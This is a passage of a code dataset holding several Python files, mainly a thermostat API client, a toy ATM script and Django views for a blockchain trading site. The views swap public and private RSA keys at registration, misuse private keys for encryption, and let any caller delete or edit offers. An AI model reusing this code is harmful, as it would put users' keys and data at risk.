authData):\n\n self.accessToken = authData.accessToken\n\n postParams = {\n \"access_token\" : self.accessToken\n }\n resp = requests.post(_GETTHERMOSTATDATA_REQ, data=postParams).json()\n\n self.rawData = resp['body']\n # status = resp['status']\n self.devList = self.rawData['devices']\n # self.stations = { d['_id'] : d for d in self.rawData['devices'] }\n self.devId = self.devList[0]['_id']\n self.modList = self.devList[0]['modules']\n # self.modules = { m['_id'] : m for m in self.devList[0]['modules'] }\n self.modId = self.modList[0]['_id']\n # self.default_station = list(self.stations.values())[0]['station_name']\n # self.modName = self.modList[0]['module_name']\n # self.cmd = self.modList[0]['therm_relay_cmd']\n # self.temperature = int(resp['body']['devices'][0]['modules']['measured']['temperature'])\n # self.update()\n\n # self.measTemp = self.modList[0]['measured']['temperature']\n #\n # self.setPointTemp = self.modList[0]['measured']['setpoint_temp']\n\n self.default_device_id = list(self.devList)[0]['_id']\n self.default_module_id = list(self.modList)[0]['_id']\n\n self.setpoint_mode = self.modList[0]['setpoint']['setpoint_mode']\n\n # self.rawzones = list(self.modList)[0]['therm_program_list'][self.default_module_id]['zones']\n # self.rawtimetable = list(self.modList)[0]['therm_program_list'][self.default_module_id]['timetable']\n\n\n def setTemp(self, mode, temp, endTimeOffset ):\n postParams = { \"access_token\" : self.accessToken }\n postParams['device_id'] = self.devId\n postParams['module_id'] = self.modId\n postParams['setpoint_mode'] = mode\n if mode == \"manual\":\n postParams['setpoint_endtime'] = time.time() + endTimeOffset\n postParams['setpoint_temp'] = temp\n return requests.post(_SETTEMP_REQ, postParams)\n\n def setstatus(self, setpoint_mode):\n postParams = {\"access_token\": self.accessToken}\n postParams['device_id'] = self.devId\n postParams['module_id'] = self.modId\n postParams['setpoint_mode'] = setpoint_mode\n\n resp = requests.post(_SETTEMP_REQ, postParams)\n # self.getthermoinfo(self.default_device_id, self.default_module_id)\n\n\n def update(self):\n postParams = {\n \"access_token\" : self.accessToken\n }\n resp = requests.post(_GETTHERMOSTATDATA_REQ, data=postParams).json()\n\n self.rawData = resp['body']\n # status = resp['status']\n self.devList = self.rawData['devices']\n # self.stations = { d['_id'] : d for d in self.rawData['devices'] }\n self.devId = self.devList[0]['_id']\n self.modList = self.devList[0]['modules']\n # self.modules = { m['_id'] : m for m in self.devList[0]['modules'] }\n self.modId = self.modList[0]['_id']\n # self.default_station = list(self.stations.values())[0]['station_name']\n # self.modName = self.modList[0]['module_name']\n # self.cmd = self.modList[0]['therm_relay_cmd']\n # self.temperature = int(resp['body']['devices'][0]['modules']['measured']['temperature'])\n # self.update()\n\n # self.measTemp = self.modList[0]['measured']['temperature']\n #\n # self.setPointTemp = self.modList[0]['measured']['setpoint_temp']\n\n self.default_device_id = list(self.devList)[0]['_id']\n self.default_module_id = list(self.modList)[0]['_id']\n\n self.setpoint_mode = self.modList[0]['setpoint']['setpoint_mode']\n\n @property\n def device_id(self):\n return self.devId\n\n @property\n def mod_id(self):\n return self.modId\n\n @property\n def module_name(self):\n return self.modList[0]['module_name']\n\n @property\n def state(self):\n return self.modList[0]['therm_relay_cmd']\n\n @property\n def measTemp(self):\n return self.modList[0]['measured']['temperature']\n\n @property\n def setPointTemp(self):\n return self.modList[0]['measured']['setpoint_temp']\n\n @property\n def relay_cmd(self):\n return int(self.modList[0]['therm_relay_cmd'])\n\n # @property\n # def setpoint_mode(self):\n # return self.modList[0]['setpoint']['setpoint_mode']\n\n @property\n def status(self):\n return resp['status']\n\n def setaway(self):\n self.Thermos.setstatus('away')\n\n def setprogram(self):\n self.Thermos.setstatus('program')\n\n\nif __name__ == \"__main__\":\n\n from sys import exit, stdout, stderr\n\n if not _CLIENT_ID or not _CLIENT_SECRET or not _USERNAME or not _PASSWORD :\n stderr.write(\"Library source missing identification arguments to check tnetatmo.py (user/password/etc...)\")\n exit(1)\n\n authorization = ClientAuth() # Test authentication method\n # user = User(authorization) # Test GETUSER\n # devList = DeviceList(authorization) # Test DEVICELIST\n # devList.MinMaxTH() # Test GETMEASURE\n thermos = Thermos (authorization)\n thermos.setTemp(\"manual\", 20, 120)\n\n # If we reach this line, all is OK\n\n # If launched interactively, display OK message\n if stdout.isatty():\n print(\"tnetatmo.py : OK\")\n\n exit(0)\n","sub_path":"tnetatmo.py","file_name":"tnetatmo.py","file_ext":"py","file_size_in_byte":8079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"572955554","text":"print('welcome to bank of india')\r\nrestart=('y')\r\nchances=3\r\nbalance=100.00\r\nwhile chances>= 0:\r\n print('u only have 3 chance')\r\n pin= int(input('please enter you 4digit pin:'))\r\n \r\n if pin == (5050):\r\n print(\"you entered your pin correctly\\n\")\r\n while restart not in('n','NO','no','N'):\r\n print('please press1 for your bal\\n')\r\n print('please press2 to make a withdrawl...\\n')\r\n print('please press3 tp pay in...\\n')\r\n print('please press4 to return card...\\n')\r\n option=int(input('what would you like to choose?'))\r\n if option==1:\r\n print(\"your balance is A $100; balance,\\n\")\r\n restart = input(\"would you like to go back?\")\r\n if restart in ('n','NO','no','N'):\r\n print('Thankyou')\r\n break\r\n elif option == 2:\r\n option2=('y')\r\n withdrawl=float(input('How much would you like to withdraw?\\n A $10, A $20, A $40, A $60, A $80, A $100'))\r\n if withdrawl in [10,20,40,60,80,100]:\r\n balance=balance-withdrawl\r\n print('\\n your balance is now A', balance)\r\n restart = input ('would you like to go back?')\r\n if restart in ('n','no','NO','N'):\r\n print('Thankyou')\r\n break\r\n elif withdrawl!=[10,20,40,60,80,100]:\r\n print('Invaid amount,please re=try \\n')\r\n restart=('y')\r\n elif withdrawl == 1:\r\n withdrawl = float(input('please Enter desired amount:'))\r\n elif option == 3:\r\n pay_in = float (input('How much would you like to pay in?'))\r\n balance = balance + pay_in\r\n print('\\n your balnce is now A $',balance)\r\n restart = input('would you like to go back?')\r\n if restart in ('n', 'NO','no','N'):\r\n print('Thankyou')\r\n break\r\n elif option == 4:\r\n print ('please wait whil your card is returned...\\n')\r\n print('Thankyou for your services')\r\n break\r\n \r\n else:\r\n print('please Enter a correct number....\\n')\r\n \r\n restart =('y')\r\n elif pin != ('5050'):\r\n print('incorrect password')\r\n chances = chances-1\r\n if chances == 0:\r\n print('\\n no more tries')\r\n break\r\n","sub_path":"nested.py","file_name":"nested.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"277810536","text":"import csv \n\n'''\nThis script was made to record all the outputs\n'''\n\ndef write(seq1,seq2,n,time):\n with open('results_mem.csv', 'a') as f: #MUDAR ISTO \n writer = csv.writer(f, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n \n #writer.writerow([\"language_detected\",\"file\",\"k\",\"alpha\",\"n_words\",\"time\",\"correct\",\"wrong\"])\n \n #falta ir por a cruz no ficheiro\n writer.writerow([seq1,seq2,n,time])\n","sub_path":"memoization/writeMem.py","file_name":"writeMem.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"83140306","text":"from django.shortcuts import render, redirect\nfrom django.forms import ModelForm\nfrom webapp.models import RecordForm,Record,UserForm,WalletForm,OfferCreationForm,AssetCreationForm,SignupForm,Offer,Asset\nfrom django.contrib import auth, messages\nfrom django.contrib.auth import update_session_auth_hash\nfrom django.contrib.auth.forms import PasswordChangeForm\n\nfrom django.urls import reverse\nfrom urllib.parse import urlencode\n\nfrom django.db.models import Q\n\nfrom django.contrib.auth.models import User\n\nfrom django.contrib.auth.decorators import login_required\n\nfrom .forms import ChangeUsernameForm, SearchOfferForm, SearchOfferFormAdvance\n\nfrom django.forms.models import model_to_dict\n\nfrom .matcher import match as matchBounds, parseString, strToListOfBounds\n\nfrom webapp.solidity import SolidityHelper\n\nfrom webapp.blockchain import sendContract\n\nimport json\n\nfrom Crypto.Cipher import PKCS1_OAEP\nfrom Crypto.PublicKey import RSA\n\nfrom twisted.internet.protocol import Factory, Protocol, ServerFactory, ClientFactory\nfrom twisted.protocols.basic import LineReceiver\nfrom twisted.internet.endpoints import TCP4ServerEndpoint, TCP4ClientEndpoint, connectProtocol\nfrom twisted.internet import reactor, defer\n\n\nclass SendBlockchainProtocol(Protocol):\n\n def sendContract(self, data):\n d = defer.Deferred()\n self.transport.write(data)\n return d\n\ndef sendJSON(p, data):\n d = p.sendContract(str.encode(data + '\\r\\n'))\n d.addCallback(lambda stop: reactor.stop())\n\ndef index(request):\n return render(request, 'webapp/index.html')\n \n\n@login_required\ndef offers(request):\n\tbuy_offers = Offer.objects.filter(seller=None).exclude(buyer=request.user)\n\tsell_offers = Offer.objects.filter(buyer=None).exclude(seller=request.user)\n\teth_assets = Asset.objects.filter(stock__gt=0).exclude(owner=request.user)\n\treturn render(request, 'webapp/offers.html', {'buy_offers':buy_offers,'sell_offers':sell_offers, 'eth_assets':eth_assets})\n\n@login_required\ndef details(request, offer_id):\n if request.method == 'POST':\n pageOrigin = request.POST.get('pageOrigin')\n else:\n pageOrigin = None\n offer = Offer.objects.get(pk=offer_id)\n bounds = offer.bounds.split(\"|\")\n for i in range(len(bounds)):\n bounds[i] = bounds[i].split(\",\")\n if(offer is None):\n return redirect('webapp:offers')\n return render(request, 'webapp/details.html', {'offer':offer, 'bounds':bounds,'pageOrigin':pageOrigin})\n\n\n@login_required\ndef updateStatus(request, record_generated_id):\n\tuser = User.objects.get(pk=request.user.id)\n\trecord = Record.objects.get(generatedId=record_generated_id)\n\n\tprevious_status = record.status\n\n\tif user.id == record.buyer.id and record.status == record.DELIVERED:\n\t\trecord.status = record.CONFIRMED\n\telif user.id == record.asset.carrier.id and record.status == record.TRANSIT:\n\t\trecord.status = record.DELIVERED\n\n\trecord.save()\n\treturn render(request, 'webapp/status.html', {'record': record, 'previous_status': previous_status})\n\n@login_required\ndef recordDetails(request, record_id):\n\trecord = Record.objects.get(pk=record_id)\n\tif record is None:\n\t\treturn redirect('webapp:myOffers')\n\n\tqr_code = SolidityHelper.generateQRCode(record.generatedId)\n\n\treturn render(request, 'webapp/recordDetails.html', {'record': record, 'qr_code': qr_code})\n\n@login_required\ndef assetDetails(request, asset_id):\n\tasset = Asset.objects.get(pk=asset_id)\n\tuser = User.objects.get(pk=request.user.id)\n\tif(asset is None):\n\t\treturn redirect('webapp:offers')\n\tif request.method == \"POST\":\n\t\tform = RecordForm(request.POST)\n\t\tif form.is_valid():\n\t\t\trecord = form.save(commit=False)\n\n\t\t\trecord.generatedId = str(SolidityHelper.generateId(user.username))[2:-1]\n\t\t\trecord.asset = asset\n\t\t\trecord.status = record.PROCESSING\n\t\t\trecord.owed = record.amount * asset.price/2\n\t\t\trecord.buyer = user\n\t\t\tprint(record.buyer)\n\t\t\tprint(asset.generatedId)\n\t\t\tprint(record.amount)\n\t\t\tprint(record.generatedId)\n\t\t\tprint(int(asset.price/2))\n\n\t\t\trecord.save()\n\n\t\t\tSolidityHelper.buy_asset(user.id, user.wallet.wallet_address, user.wallet.wallet_private_key, asset.generatedId, record.amount, record.generatedId, int(record.amount * asset.price/2))\n\t\t\treturn redirect(\"webapp:myOffers\")\n\telse:\n\t\tform = RecordForm()\n\treturn render(request, 'webapp/assetDetails.html', {'asset': asset, 'form': form})\n\n@login_required\ndef sign(request, offer_id):\n sign_contract(request, offer_id)\n\n return redirect('webapp:myOffers')\n\ndef sign_contract(request, offer_id, price=-1, quantity=-1):\n offer = Offer.objects.get(pk=offer_id)\n user = User.objects.get(pk=request.user.id)\n if(offer is None):\n return redirect('webapp:offers')\n if(offer.buyer is None and offer.seller is user):\n return redirect('webapp:offers')\n if(offer.seller is None and offer.buyer is user):\n return redirect('webapp:offers')\n \n offer.pk = None\n if quantity == -1:\n offer.stock = float(offer.stock) - float(request.POST.get('post_quantity'))\n else:\n offer.stock = float(offer.stock) - float(quantity)\n offer.save()\n \n old_offer = Offer.objects.get(pk=offer_id)\n if quantity == -1:\n old_offer.price = request.POST.get('post_price')\n old_offer.quantity = request.POST.get('post_quantity')\n else:\n old_offer.price = price\n old_offer.quantity = quantity\n if(old_offer.buyer is None):\n old_offer.buyer = user\n elif(old_offer.seller is None):\n old_offer.seller = user\n \n old_offer.save()\n \n d = old_offer.write()\n b = d.encode('utf-8')\n\n buyer_pr_key = RSA.import_key(old_offer.buyer.profile.private_key)\n\n seller_pr_key = RSA.import_key(old_offer.seller.profile.private_key)\n\n #encrypt d with buyer and seller private keys.\n cipher_buyer = PKCS1_OAEP.new(key=buyer_pr_key)\n cipher_text_buyer = cipher_buyer.encrypt(b)\n cipher_seller = PKCS1_OAEP.new(key=seller_pr_key)\n cipher_text_seller = cipher_seller.encrypt(b)\n \n d = d[:-1] + ', \"cipher_buyer\" : \"{}\", \"cipher_seller\" : \"{}\"'.format(cipher_text_buyer, cipher_text_seller) + '}'\n\n pu_key_buyer = RSA.import_key(old_offer.buyer.profile.public_key).exportKey()\n pu_key_seller = RSA.import_key(old_offer.seller.profile.public_key).exportKey()\n \n sendContract.send(d, pu_key_buyer, pu_key_seller, cipher_text_buyer, cipher_text_seller)\n\ndef login_view(request):\n if request.method == \"POST\":\n form = UserForm(request.POST)\n if form.is_valid():\n username=form.cleaned_data.get('email')\n password=form.cleaned_data.get('password')\n user = auth.authenticate(username=username,password=password)\n if(user is not None) :\n auth.login(request, user)\n toastHTML = 'Logged in successfully!'\n messages.success(request, toastHTML)\n return redirect((request.GET.get('next','webapp:dashboard')))\n else:\n form = UserForm()\n return render(request, 'webapp/login.html', {'form': form})\n \ndef register(request):\n if request.method == \"POST\":\n form = SignupForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n \n user.username = user.email\n \n user.save() \n \n private_key = RSA.generate(2048)\n public_key = private_key.publickey()\n \n private_pem = private_key.export_key().decode()\n public_pem = public_key.export_key().decode()\n \n user.profile.private_key = public_pem\n user.profile.public_key = private_pem\n \n user.save()\n \n raw_password = form.cleaned_data.get('password1')\n user = auth.authenticate(username=user.username, password=raw_password)\n auth.login(request, user)\n toastHTML = 'Registered successfully!'\n messages.success(request, toastHTML)\n return redirect('webapp:dashboard')\n else:\n form = SignupForm()\n return render(request, 'webapp/register.html', {'form': form})\n\ndef logout_view(request):\n auth.logout(request)\n toastHTML = 'Logged out successfully!'\n messages.success(request, toastHTML)\n return redirect('webapp:index')\n\n@login_required\ndef createAsset(request):\n\tif request.method == \"POST\":\n\t\tform = AssetCreationForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tasset = form.save(commit = False)\n\t\t\tuser = User.objects.get(id=request.user.id)\n\t\t\tcarrier = User.objects.get(username='carrier@solidity.com')\n\n\t\t\tgenid = SolidityHelper.generateId(asset.name)\n\t\t\tasset.owner = user\n\t\t\tasset.carrier = carrier\n\t\t\tasset.generatedId = str(genid)[2:-1]\n\t\t\tasset.transactionStatus = asset.SUBMITTED\n\n\t\t\tprint(\"Asset name: \", asset.name)\n\t\t\tprint(\"User wallet: \", user.wallet.wallet_address)\n\t\t\tprint(\"Carrier wallet: \", carrier.wallet.wallet_address)\n\t\t\tprint(\"Asset id: \", asset.generatedId)\n\n\t\t\tasset.save()\n\n\t\t\tSolidityHelper.create_asset(user.id, user.wallet.wallet_address, user.wallet.wallet_private_key, asset.generatedId, form.cleaned_data['name'], form.cleaned_data['description'],\n\t\t\t\t\t\t\t\t\t\tint(form.cleaned_data['price']), int(form.cleaned_data['stock']),\n\t\t\t\t\t\t\t\t\t\tform.cleaned_data['location'], form.cleaned_data['transferTime'],\n\t\t\t\t\t\t\t\t\t\t[asset.owner.wallet.wallet_address, asset.carrier.wallet.wallet_address],\n\t\t\t\t\t\t\t\t\t\t[90, 10])\n\t\t\treturn redirect(\"webapp:myOffers\")\n\telse:\n\t\tform = AssetCreationForm()\n\treturn render(request, 'webapp/createAsset.html', {'form': form})\n\n@login_required\ndef createOffer(request):\n if request.method == \"POST\":\n form = OfferCreationForm(request.POST)\n if form.is_valid():\n offer = form.save(commit=False)\n user = User.objects.get(id=request.user.id)\n \n contract_str = \"\"\n if(request.POST.get(\"drag-and-drop-str\",\"\") is not None):\n print(\"drag and drop used\")\n contract_str = request.POST.get(\"drag-and-drop-str\",\"\")\n else:\n print(\"text input used\")\n contract_str = form.cleaned_data['completion_condition']\n \n offer.completion_condition = contract_str\n \n\n if form.cleaned_data.get('contract_type') == 'Sell' :\n offer.seller = user\n priority = 'seller'\n else:\n offer.buyer = user\n priority = 'buyer'\n \n clause = parseString(contract_str)\n if clause is None:\n form.add_error('completion_condition', 'Invalid clause')\n return render(request, 'webapp/createOffer.html', {'form': form})\n index = 0\n strBounds = \"\"\n for bounds in clause.bounds:\n if index >= 1 :\n strBounds+=\"|\"\n strBounds += \"{},{},{},{}\".format(str(bounds.pl), str(bounds.pu), str(bounds.ql), str(bounds.qu))\n index+=1\n \n offer.bounds = strBounds\n\n #try to find match\n if form.cleaned_data.get('contract_type') == 'Buy':\n potential_matches = Offer.objects.filter(contract_type='Sell',asset_name=offer.asset_name,buyer=None)\n else:\n potential_matches = Offer.objects.filter(contract_type='Buy',asset_name=offer.asset_name, seller=None)\n\n match_list = []\n for m in potential_matches:\n m_bounds = strToListOfBounds(m.bounds)\n out = matchBounds(clause.bounds, m_bounds, priority)\n if out is not None:\n #contracts match\n quant = min(offer.stock, m.stock)\n quant = max(0, quant)\n if quant == 0 :\n continue\n if len(match_list) == 0:\n match_list.append((out, m.id))\n elif priority is 'buyer':\n index = 0\n for match in match_list: \n if (match[0][0] > out[0]) or (match[0][0] == out[0] and match[0][1] < quant): \n match_list.insert(index, ((out[0], quant), m.id))\n break\n index += 1\n match_list.append((out, m.id))\n else:\n index = 0\n for match in match_list: \n if (match[0][0] < out[0]) or (match[0][0] == out[0] and match[0][1] < quant): \n match_list.insert(index, ((out[0], quant), m.id))\n break\n index += 1\n match_list.append((out, m.id))\n \n if len(match_list) > 0:\n toastHTML = 'A match was automatically found!'\n messages.success(request, toastHTML)\n index = 0\n while(offer.stock > 0 and index < len(match_list)):\n match = match_list[index]\n print(\"matching with offer id {}, price {} quant {}\".format(match[1], match[0][0], match[0][1]))\n quant = min(offer.stock, match[0][1])\n offer.stock = float(offer.stock) - quant\n sign_contract(request, match[1], match[0][0], quant)\n index += 1\n \n if(offer.stock > 0):\n offer.save()\n detailsURL = reverse('webapp:details', args=[offer.id])\n toastHTML = 'Offer created successfully!View'.format(detailsURL);\n \n messages.success(request, toastHTML)\n\n return redirect('webapp:myOffers')\n else:\n form = OfferCreationForm()\n return render(request, 'webapp/createOffer.html', {'form': form})\n\ndef changeOffer(request, offer_id):\n\toffer = Offer.objects.get(pk=offer_id)\n\tif request.method == 'POST':\n\t\tuser = User.objects.get(pk=request.user.id)\n\t\tform = OfferCreationForm(request.POST,instance=offer)\n\t\tif form.is_valid():\n\t\t\toffer = form.save()\n\t\t\ttoastHTML = 'Offer updated successfully!'\n\t\t\tmessages.success(request, toastHTML)\n\t\t\treturn redirect('webapp:myOffers')\n\telse:\n\t\tform = OfferCreationForm(instance=offer)\n\treturn render(request, 'webapp/changeOffer.html',{'form':form})\n\ndef deleteOffer(request, offer_id):\n\toffer = Offer.objects.get(pk=offer_id)\n\toffer.delete()\n\ttoastHTML = 'Offer deleted successfully!'\n\tmessages.success(request, toastHTML)\n\treturn redirect('webapp:myOffers')\n\n@login_required\ndef myOffers(request):\n\tuser = request.user\n\tbuy_offers = Offer.objects.filter(buyer=user,seller=None)\n\tsell_offers = Offer.objects.filter(seller=user,buyer=None)\n\tcompleted_offers = Offer.objects.filter(Q(buyer=user) | Q(seller=user)).exclude(buyer=None).exclude(seller=None)\n\tassets = Asset.objects.filter(owner=user)\n\trecords = Record.objects.filter(buyer=user)\n\treturn render(request, 'webapp/myOffers.html', {'buy_offers':buy_offers,'sell_offers':sell_offers,'completed_offers':completed_offers, 'assets':assets, 'records':records})\n\n@login_required\ndef myAssets(request):\n\tuser = request.user\n\tassets = Asset.objects.filter(owner=user)\n\trecords = Record.objects.filter(buyer=user)\n\treturn render(request, 'webapp/myAssets.html', {'owned_assets': assets, 'records': records})\n\n@login_required\ndef matchOffer(request, offer_id):\n\tuser = request.user\n\n\tmyoffer = Offer.objects.get(pk=offer_id)\n\t#print(myoffer.contract_type)\n\t#TODO prevent buying your own stuff\n\tif myoffer.contract_type == 'Buy':\n\t\toffers = Offer.objects.filter(contract_type='Sell',asset_name=myoffer.asset_name)\n\telse:\n\t\toffers = Offer.objects.filter(contract_type='Buy',asset_name=myoffer.asset_name)\n\tsortedoffers = sorted(offers,key = lambda x: min(myoffer.quantity,x.quantity)/max(myoffer.quantity,x.quantity) + min(myoffer.price/myoffer.quantity,x.price/x.quantity)/max(myoffer.price/myoffer.quantity,x.price/x.quantity),reverse = True)[:10]\n\treturn render(request,'webapp/matchOffer.html',{'sortedoffers':sortedoffers,'myoffer':myoffer})\n\ndef searchOffers(request):\n\tif request.method == 'POST':\n\t\tform = SearchOfferForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tname = form.cleaned_data['asset_name']\n\t\t\tquantity = form.cleaned_data['quantity']\n\t\t\tprice = form.cleaned_data['price']\n\t\t\tcontract_type = form.cleaned_data['contract_type']\n\t\t\toffers = []\n\t\t\tif contract_type == 'Buy':\n\t\t\t\tpotential_matches = Offer.objects.filter(contract_type='Sell',asset_name=name, seller=None)\n\t\t\t\tpriority = 'seller'\n\t\t\telse:\n\t\t\t\tpotential_matches = Offer.objects.filter(contract_type='Buy',asset_name=name, buyer=None)\n\t\t\t\tpriority = 'buyer'\n\t\t\t\n\t\t\tsearchCondition = \"p =\"+ str(price) + \"AND q =\" + str(quantity)\n\t\t\tclause = parseString(searchCondition)\n\t\t\tfor m in potential_matches:\n\t\t\t\tpot_mat_clause = parseString(m.completion_condition)\n\t\t\t\tout = matchBounds(clause.bounds, pot_mat_clause.bounds, priority)\n\t\t\t\tif out is not None:\n\t\t\t\t\toffers.append(m)\n\t\t\t\t\t\n\t\t\t# If not offers found\n\t\t\tif not offers:\n\t\t\t\tnoMatch = 1\n\t\t\telse:\n\t\t\t\tnoMatch = 0\n\t\telse:\n\t\t\toffers = None\n\t\t\tprint(\"invalid form\")\n\telse:\n\t\tform = SearchOfferForm()\n\t\toffers = None\n\t\tnoMatch = 0\n\treturn render(request,'webapp/searchOffers.html',{'form':form,'offers':offers,'noMatch':noMatch})\n\t\ndef searchOffersAdvanced(request):\n\tif request.method == 'POST':\n\t\tform = SearchOfferFormAdvance(request.POST)\n\t\tif form.is_valid():\n\t\t\tname = form.cleaned_data['asset_name']\n\t\t\tcontract_type = form.cleaned_data['contract_type']\n\t\t\toffers = []\n\t\t\tif contract_type == 'Buy':\n\t\t\t\tpotential_matches = Offer.objects.filter(contract_type='Sell',asset_name=name)\n\t\t\t\tpriority = 'seller'\n\t\t\telse:\n\t\t\t\tpotential_matches = Offer.objects.filter(contract_type='Buy',asset_name=name)\n\t\t\t\tpriority = 'buyer'\n\t\t\t\n\t\t\tsearchCondition = form.cleaned_data['completion_condition']\n\t\t\tclause = parseString(searchCondition)\t\t\t\n\t\t\tfor m in potential_matches:\n\t\t\t\tpot_mat_clause = parseString(m.completion_condition)\n\t\t\t\tout = matchBounds(clause.bounds, pot_mat_clause.bounds, priority)\n\t\t\t\tif out is not None:\n\t\t\t\t\toffers.append(m)\n\t\t\t\t\t\n\t\t\t# If not offers found\n\t\t\tif not offers:\n\t\t\t\tnoMatch = 1\n\t\t\telse:\n\t\t\t\tnoMatch = 0\n\t\telse:\n\t\t\toffers = None\n\t\t\tprint(\"invalid form\")\n\telse:\n\t\tform = SearchOfferFormAdvance()\n\t\toffers = None\n\t\tnoMatch = 0\n\treturn render(request, 'webapp/searchOffersAdvanced.html', {'form':form, 'offers':offers, 'noMatch':noMatch})\n@login_required\ndef dashboard(request):\n return render(request, 'webapp/dashboard.html')\n\ndef about(request):\n return render(request, 'webapp/about.html')\n\n@login_required\ndef changePassword(request):\n\n\tif request.method == 'POST':\n\t\tform = PasswordChangeForm(request.user,request.POST)\n\t\tif form.is_valid():\n\t\t\tuser = form.save()\n\t\t\tupdate_session_auth_hash(request,user)\n\t\t\tmessages.success(request,'Your password was updated')\n\t\t\treturn redirect('webapp:settings')\n\t\telse:\n\t\t\tmessages.error(request,'Error')\n\telse:\n\t\tform = PasswordChangeForm(request.user)\n\treturn render(request, 'webapp/changePassword.html',{'form':form})\n\n@login_required\ndef changeUsername(request):\n\tif request.method == 'POST':\n\t\tform = ChangeUsernameForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tpassw = form.cleaned_data['password']\n\t\t\tuser = request.user\n\t\t\tif user.check_password(passw):\n\t\t\t\tnewusername = form.cleaned_data['newusername']\n\t\t\t\tuser.username = newusername\n\t\t\t\tuser.save()\n\t\t\t\treturn redirect('webapp:settings')\n\t\t\telse:\n\t\t\t\tmessages.error(request,'Wrong Password')\n\t\telse:\n\t\t\tmessages.error(request,'Error')\n\telse:\n\t\tform = ChangeUsernameForm()\n\treturn render(request,'webapp/changeUsername.html',{'form':form})\n\n@login_required\ndef changeWallet(request):\n\tif request.method == 'POST':\n\t\tform = WalletForm(request.POST, instance=request.user.wallet)\n\t\tif form.is_valid():\n\t\t\twallet = form.save()\n\t\t\twallet.ether_balance = SolidityHelper.getBalance(wallet.wallet_address)\n\t\t\twallet.save()\n\t\t\treturn redirect('webapp:dashboard')\n\t\telse:\n\t\t\tmessages.error(request, \"Wrong address.\")\n\telse:\n\t\tform = WalletForm(instance = request.user.wallet)\n\treturn render(request, 'webapp/changeWallet.html', {'form': form})\n\n@login_required\ndef settings(request):\n\treturn render(request, 'webapp/settings.html')\n\ndef contractsHub(request):\n\treturn render(request, 'webapp/contractsHub.html')\n","sub_path":"build/lib/webapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"326558137","text":"from django.views.generic.base import ContextMixin\nfrom django.conf import settings\nfrom lists.models import AuthorityList, AuthorityListCategory\nfrom region.models import Region\nfrom district.models import District2\n\nclass CategoryListMixin(ContextMixin):\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(CategoryListMixin,self).get_context_data(**kwargs)\n\t\tcontext[\"current_url\"] = self.request.path\n\t\tcontext[\"elect_list_cats\"] = AuthorityListCategory.objects.only(\"pk\")\n\t\tif self.request.user.is_authenticated:\n\t\t\ttry:\n\t\t\t\tcontext[\"user_region\"] = self.request.user.city.region\n\t\t\t\t#context[\"user_district\"] = self.request.user.area\n\t\t\texcept:\n\t\t\t\tcontext[\"user_region\"] = Region.objects.first()\n\t\t\t\tcontext[\"user_district\"] = District2.objects.first()\n\t\treturn context\n","sub_path":"generic/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"592358439","text":"\nimport numpy as np\nfrom functools import reduce\n\n# ====================================================================\n# ID List\n# ====================================================================\nclass IdList:\n\n class Pattern:\n def __init__(self):\n self.pattern = np.empty(0)\n self.l_loc = np.empty(0)\n self.r_loc = np.empty(0)\n self.support = 0\n self.score = 0\n\n def __init__(self, pattern, l_loc, r_loc, support, score):\n self.pattern = pattern\n self.l_loc = l_loc\n self.r_loc = r_loc\n self.support = support\n self.score = score\n\n def __eq__(self, other):\n return self.pattern == other.pattern\n\n def __hash__(self):\n return hash(str(self.pattern))\n\n def __init__(self):\n self.__reset()\n\n def __reset(self):\n self.max_gap = 1\n self.min_support = 0.3\n self.n_traces = 0 # Number of traces\n self.ids = [] # Preliminary Phase IDs\n self.phase_support = {} # Support of each phase\n self.phase_size = {} # Size of each phase\n self.idList = {} # Actual Data Structure\n # ID\n # tid | Occurence\n self.XMap = {} # eXtention-Map indicate pairwise extention relationship\n\n self.pruned = 0\n self.explored = 0\n\n def add_phase(self, phase):\n self.__add_phase(phase)\n\n def __add_phase(self, phase):\n if phase in self.ids:\n return\n\n self.ids.append(phase)\n idx = self.ids.index(phase)\n self.phase_support[idx] = 0\n self.phase_size[idx] = len(phase)\n self.idList[idx] = np.full(self.n_traces, np.nan)\n self.XMap[idx] = set()\n\n # Construct the Id List given the list of preliminary phases as list of sets: [{phase_1}, {phase_2}, ..., {phase_n}]\n def build_list(self, traces, min_sup = 0.3, max_gap = 1):\n self.__reset()\n\n self.min_support = min_sup\n self.max_gap = max_gap\n\n self.n_traces = len(traces)\n\n if not isinstance(traces, list):\n raise TypeError('Input Traces must be list object.')\n\n # Itterate Each Trace\n for trace_idx in range(self.n_traces):\n trace = traces[trace_idx]\n\n for event_idx in range(len(trace)):\n phase = trace[event_idx]\n\n # Check if phase already exists\n if phase not in self.ids:\n self.__add_phase(phase)\n\n phase_idx = self.ids.index(phase)\n\n # Insert to IdList\n self.idList[phase_idx][trace_idx] = event_idx\n # self.phase_support[phase_idx] += 1\n\n # Update Extention Map\n for gap in range(1, self.max_gap + 1):\n # Extention\n idx = event_idx + gap\n if idx < len(trace):\n # Check if phase already exists in ids\n if trace[idx] not in self.ids:\n self.__add_phase(trace[idx])\n self.XMap[phase_idx].add(self.ids.index(trace[idx]))\n trace_idx += 1\n\n # Clean Extention Map from removing self-extention\n # for i in range(len(self.ids)):\n # if i in self.XMap[i]:\n # self.XMap[i].remove(i)\n\n # Compute Support of phases\n for i in range(len(self.ids)):\n self.phase_support[i] = np.sum(~np.isnan(self.idList[i])) / self.n_traces\n\n # Extend pattern by depth-first-search manner\n def __extend_pattern(self, closed_patterns, pattern, l_loc, r_loc, que_support, best_score, print_status=False):\n # print('\\rExplored: %d\\tPruned: %d\\tExploring: %.2f - %s' % (self.explored, self.pruned, que_support, 